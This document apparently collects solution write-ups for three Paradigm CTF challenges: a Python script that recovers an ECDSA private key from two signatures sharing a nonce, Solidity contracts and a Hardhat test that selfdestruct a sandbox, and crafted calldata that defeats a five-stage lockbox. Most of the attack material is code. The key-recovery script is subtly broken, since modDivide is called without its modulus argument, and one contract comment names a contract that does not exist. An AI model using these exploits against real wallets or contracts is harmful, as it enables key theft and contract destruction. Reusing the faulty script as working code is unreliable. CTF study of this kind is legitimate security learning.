Paradigm CTF solutions

BabyCrypto.md

The following python code accepts r1, s1, s2 and the msg1, msg2 to reconstruct the private key (given that the same nonce k was used to sign), so r = r1 = r2.

from random import SystemRandom
from ecdsa import ecdsa
import sha3
import binascii
from typing import Tuple
import uuid
import os
import math

def hash_message(msg: str) -> int:
    """
    hash the message using keccak256, truncate if necessary
    """
    k = sha3.keccak_256()
    k.update(msg.encode("utf8"))
    d = k.digest()
    n = int(binascii.hexlify(d), 16)
    olen = ecdsa.generator_secp256k1.order().bit_length() or 1
    dlen = len(d)
    n >>= max(0, dlen - olen)
    return n

def modInverse(b,m):
  g = math.gcd(b, m)
  if (g != 1):
    return -1
  else:
    return pow(b, m - 2, m)

# Function to compute a/b under modulo m
def modDivide(a,b,m):
  a = a % m
  inv = modInverse(b,m)
  if(inv == -1):
    print("Division not defined")
  else:
    return (inv*a) % m

if __name__ == "__main__":
    msg1 = input("msg1? ")
    msg1_hashed = hash_message(msg1)
    msg2 = input("msg2? ")
    msg2_hashed = hash_message(msg2)
    r1 = int(input("r1? "), 16)
    s1 = int(input("s1? "), 16)
    s2 = int(input("s2? "), 16)

    g = ecdsa.generator_secp256k1

    k = modDivide((msg1_hashed - msg2_hashed), (s1 - s2))

    d = modDivide(((s1 * k) - msg1_hashed), r1)

    test = int(input("test? "), 16)

    pub = ecdsa.Public_key(g, g * d)
    priv = ecdsa.Private_key(pub, d)

    sig = priv.sign(test, k)
    print(f"solved r=0x{sig.r:032x}")
    print(f"solved s=0x{sig.s:032x}")

BabySandbox.md

BabySandbox

staticcall does not allow any state modifications (a complete list of disallowed operations is here).

The idea is to have a Receiver contract that shall be called by BabySandbox (via delegatecall) and this receiver is responsible for somehow triggering the self-destruction of BabySandbox. This is possible since in delegatecall the calling contract's context is used, and it only uses the code from the contract being called.

The first thought when I saw the BabySandbox.sol contract was, that I can perhaps use the gasleft() value to construct a condition that fails initially for staticcall, but is satisfied only for the call. But I couldn't really get the first staticcall to spend a lot of gas (through some dummy loops), leaving the second call with gasleft() less than the max supplied.

Next we can notice that the failure in delegatecall can be caught and we don't revert but simply return back to the calling contract, we can disguise as if the call simply returned nothing. So we can have another contract called Dummy.sol that only does one of the disallowed operations, say, selfdestruct. The first time its called, its during the staticcall, so it fails, but we catch it and return. The second time its called, it succeeds since it is a call. So we use this success code to then selfdestruct the BabySandbox through Receiver.

Receiver.sol

pragma solidity 0.7.0;

contract Receiver {
  fallback() external {
    assembly {
      // hardcode the Destroyer's address here before deploying Receiver
      switch call(gas(), 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512, 0x00, 0x00, 0x00, 0x00, 0x00)
        case 0 {
          return(0x00, 0x00)
        }
        case 1 {
          selfdestruct(0)
        }
    }
  }
}

Dummy.sol

pragma solidity 0.7.0;

contract Dummy {
  fallback() external {
    selfdestruct(address(0));
  }
}

Script

Deploy Dummy

const { expect } = require("chai");

describe("Testing BabySandbox", function () {
  it("should work", async function() {
    // setup phase
    const Setup = await ethers.getContractFactory("Setup");
    const setup = await Setup.deploy();
    await setup.deployed();
    const sandboxAddr = await setup.sandbox.call();
    console.log("sandbox addr = ", sandboxAddr);

    // deploy the dummy contract
    const Dummy = await ethers.getContractFactory("Dummy");
    const dummy = await Dummy.deploy();
    await dummy.deployed();
    console.log("dummy addr = ", dummy.address);

    // deploy the receiver contract. This can be done in 2 steps after getting
    // the Dummy contract's address. But since this is a test env, it is
    // deterministic
    const Receiver = await ethers.getContractFactory("Receiver");
    const receiver = await Receiver.deploy();
    await receiver.deployed();
    console.log("receiver addr = ", receiver.address);
    
    // instantiate a contract instance of baby sandbox and run it with the receiver addr
    const sandbox = await ethers.getContractAt("BabySandbox", sandboxAddr);
    await sandbox.run(receiver.address);

    console.log("done? ", await setup.isSolved.call());
  })
})

Lockbox.md

Lockbox

We can have a closer look at the _ modifier in every contract that inherits Setup:

modifier _() {
    _;

    assembly {
        ...
    }
}

The _; is replaced with the function's body, which means, our initial call to Entrypoint.solve(bytes4 guess) will do:

• Check require(guess == bytes4(blockhash(block.number - 1)), "do you feel lucky?");
• Update solved to true
• Move on to the next stage

When we move to the next stage, have a closer look to what we do:

• Fetch the address of the next contract, and if its 0x00, simply return. This return will happen at Stage5

let next := sload(next_slot)
if iszero(next) {
    return(0, 0)
}

• Call the next stage's getSelector() method to get its selector

mstore(0x00, 0x034899bc00000000000000000000000000000000000000000000000000000000)
pop(call(gas(), next, 0, 0, 0x04, 0x00, 0x04))

• Call the next stage's appropriate selector and pass the same calldata again (stripping off the first 4 selector bytes)

calldatacopy(0x04, 0x04, sub(calldatasize(), 0x04))
switch call(gas(), next, 0, 0, calldatasize(), 0, 0)
    case 0 {
        returndatacopy(0x00, 0x00, returndatasize())
        revert(0x00, returndatasize())
    }
    case 1 {
        returndatacopy(0x00, 0x00, returndatasize())
        return(0x00, returndatasize())
    }

This effectively means that, from Entrypoint to Stage1 to Stage2 and so on, to Stage5, we will pass the same calldata to all calls. So one calldata to solve them all!

We will construct a script on our way from Entrypoint to Stage5, and keep adding to the script. We can run the script with:

npx hardhat scripts/solver.js --network ctf

Entrypoint check

The check for Entrypoint is somewhat easier. We can get the last block's hash, take the first 4 bytes. So far we know that the calldata starts with Entrypoint.solve.selector + blockhash[0:8] (if the blockhash is a hex string, that means 8 characters for the first 4 bytes).

The script is:

const hre = require("hardhat");

async function main() {
  const setup = await hre.ethers.getContractAt("Setup", "0x527B3b9C9DB183C8867eFe369929D004dDf8DBD9");
  await setup.deployed();
  const entrypointAddr = await setup.entrypoint.call();
  const entrypoint = await hre.ethers.getContractAt("Entrypoint", entrypointAddr);
  await entrypoint.deployed();
  
  const n = ethers.provider.blockNumber;
  const lastBlock = await ethers.provider.getBlock(n);
  const guess = lastBlock.hash.substring(0, 10);
  
  // this is 0x prefixed
  let data1 = entrypoint.interface.encodeFunctionData("solve", [guess]);
}

main()
  .then(() => process.exit(0))
  .catch(error => {
    console.error(error);
    process.exit(1);
  });

Stage1 check

We wish to verify a signature and the address to be recovered to be 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf. Notice that this is the famous address for the private key 0x0000000000000000000000000000000000000000000000000000000000000001.

We can basically generate an ECDSA signature for signing the message keccak256("stage1"), and get the {r, s, v} values.

But here's the tricky part. Most Ethereum libraries will sign a message that is prepended with \x19Ethereum Signed Message + len(msg) before signing. So the signature verification would fail. I generated signature using the [ethers-rs](https://github.com/gakonst/ethers-rs) repository, but you could basically go online and find an ECDSA msg signer (that is not compatible with the "Ethereum Signed Message" prepended msg).

But we're not fully done here. Because Stagee3 requires the keys to be in strictly increasing order. Notice that keys[1] is actually s and keys[0] is r. So we need a signature where s > r. After generating a few signatures, I arrived at this one:

r = 0x274d91564d07600e8076a8843bd13a374cf43dcd2f5277fb61313f3d5c805b61
s = 0xa129687de0b602825f931363235f7a427088014fb94cde3264efbce58cc04236
v = 0x1c

Now we also need the v value to decode to 0x1c, but that comes from the first 32 bytes of the calldata (after the selector of course). So we will modify data1 above to:

data1 = data1.substring(0, 72) + "1c";

Stage2 check

Both arguments a and b are 16 bit unsigned integers, meaning, if their sum exceeds 16 bits, it will overflow and satisfy the condition require(a > 0 && b > 0 && a + b < a)

Since a is decoded from the first 32 bytes, it matches v at the moment (i.e. 0x1c). We need not fear prepending ff to this, since the Stage1's solve will only take the least significant 1 byte.

So modify the line we edited above (data1) to be:

data1 = data1.substring(0, 70) + "ff1c";

Stage3 check

Notice that we have many arguments here: uint idx, uint[4] memory keys, uint[4] memory lock. So in total, it will read 32 * 9 = 288 bytes. But also look further ahead in Stage5, that the calldata cannot be greater than 256 bytes. So this means we will have to set lock[2] and lock[3] to 0 (basically by not passing any calldata to it, those values will be decoded as 0).

Also notice that there is a check: require(keys[idx % 4] == lock[idx % 4]). This gets a bit tricky.

We cannot have a key with value 0 because it would fail the always increasing check. But we already have two of our lock values set to 0. So then we would need idx % 4 to be either 0 or 1.

In the signature that I had generated, I got idx % 4 == 0, so I set the 32-bytes for lock0 to be equal to key0, which is also what r is.

So the script now becomes:

// guess, v, a, idx, choices[0]
let data1 = entrypoint.interface.encodeFunctionData("solve", [guess]);
data1 = data1.substring(0, 70) + "ff1c";

// r, b, keys[0], choices[1]
const data2 = "274d91564d07600e8076a8843bd13a374cf43dcd2f5277fb61313f3d5c805b61";

// s, keys[1], choices[2]
const data3 = "a129687de0b602825f931363235f7a427088014fb94cde3264efbce58cc04236";

Next moving on to the checks:

require(keys[i] < keys[i + 1]);
require((keys[j] - lock[j]) % 2 == 0);

We need to set keys[2] and keys[3] to be greater than keys[1], while also being even.

So the script now becomes:

// guess, v, a, idx, choices[0]
let data1 = entrypoint.interface.encodeFunctionData("solve", [guess]);
data1 = data1.substring(0, 70) + "ff1c";

// r, b, keys[0], choices[1]
const data2 = "274d91564d07600e8076a8843bd13a374cf43dcd2f5277fb61313f3d5c805b61";

// s, keys[1], choices[2]
const data3 = "a129687de0b602825f931363235f7a427088014fb94cde3264efbce58cc04236";

// keys[2] > keys[1] and be even, also choices[3]
const key2  = "a129687de0b602825f931363235f7a427088014fb94cde3264efbce58cc04238";

// keys[3] > keys[2] and be even, also choices[4]
const key3  = "a129687de0b602825f931363235f7a427088014fb94cde3264efbce58cc04240";

// lock[0] == key[0] since idx % 4 == 0
const lock0 = "274d91564d07600e8076a8843bd13a374cf43dcd2f5277fb61313f3d5c805b61";

Stage4 check

Here we have a bunch of choices, and a choice. The condition is:

require(choices[choice % 6] == keccak256(abi.encodePacked("choose")))

Now the required hash calculates to e201a979a73f6a2947c212ebbed36f5d85b35629db25dfd9441d562a1c6ca896 in hex.

We have two free slots at this moment, specifically, keys[2] and keys[3], because we can flexibly change them as long as they satisfy the criteria that they should be in strictly increasing order and be even.

So I set keys[3] to the required hash, as it is even, and is greater than keys[2]. With this, we need choice % 6 to evaluate to 4 since keys[3] is also the same as choices[4]. So we modify the script to:

let data1 = entrypoint.interface.encodeFunctionData("solve", [guess]);
data1 = data1.substring(0, 70) + "ff1c";
const data2 = "274d91564d07600e8076a8843bd13a374cf43dcd2f5277fb61313f3d5c805b61";
const data3 = "a129687de0b602825f931363235f7a427088014fb94cde3264efbce58cc04236";
const key2  = "a129687de0b602825f931363235f7a427088014fb94cde3264efbce58cc04238";
const key3  = "e201a979a73f6a2947c212ebbed36f5d85b35629db25dfd9441d562a1c6ca896";
const lock0 = "274d91564d07600e8076a8843bd13a374cf43dcd2f5277fb61313f3d5c805b61";
const choice= "0000000000000000000000000000000000000000000000000000000000000004";

We now have solved all stages so we do:

const signer = ethers.provider.getSigner(0);
const tx = await signer.sendTransaction({
  to: entrypoint.address,
  data: data1 + data2 + data3 + key2 + key3 + lock0 + choice,
});

const solved = await entrypoint.solved.call();
console.log("solved = ", solved);

And we have satisfied the checks at every stage, so no revert ensures the transaction is mined successfully, setting solved in Entrypoint to true.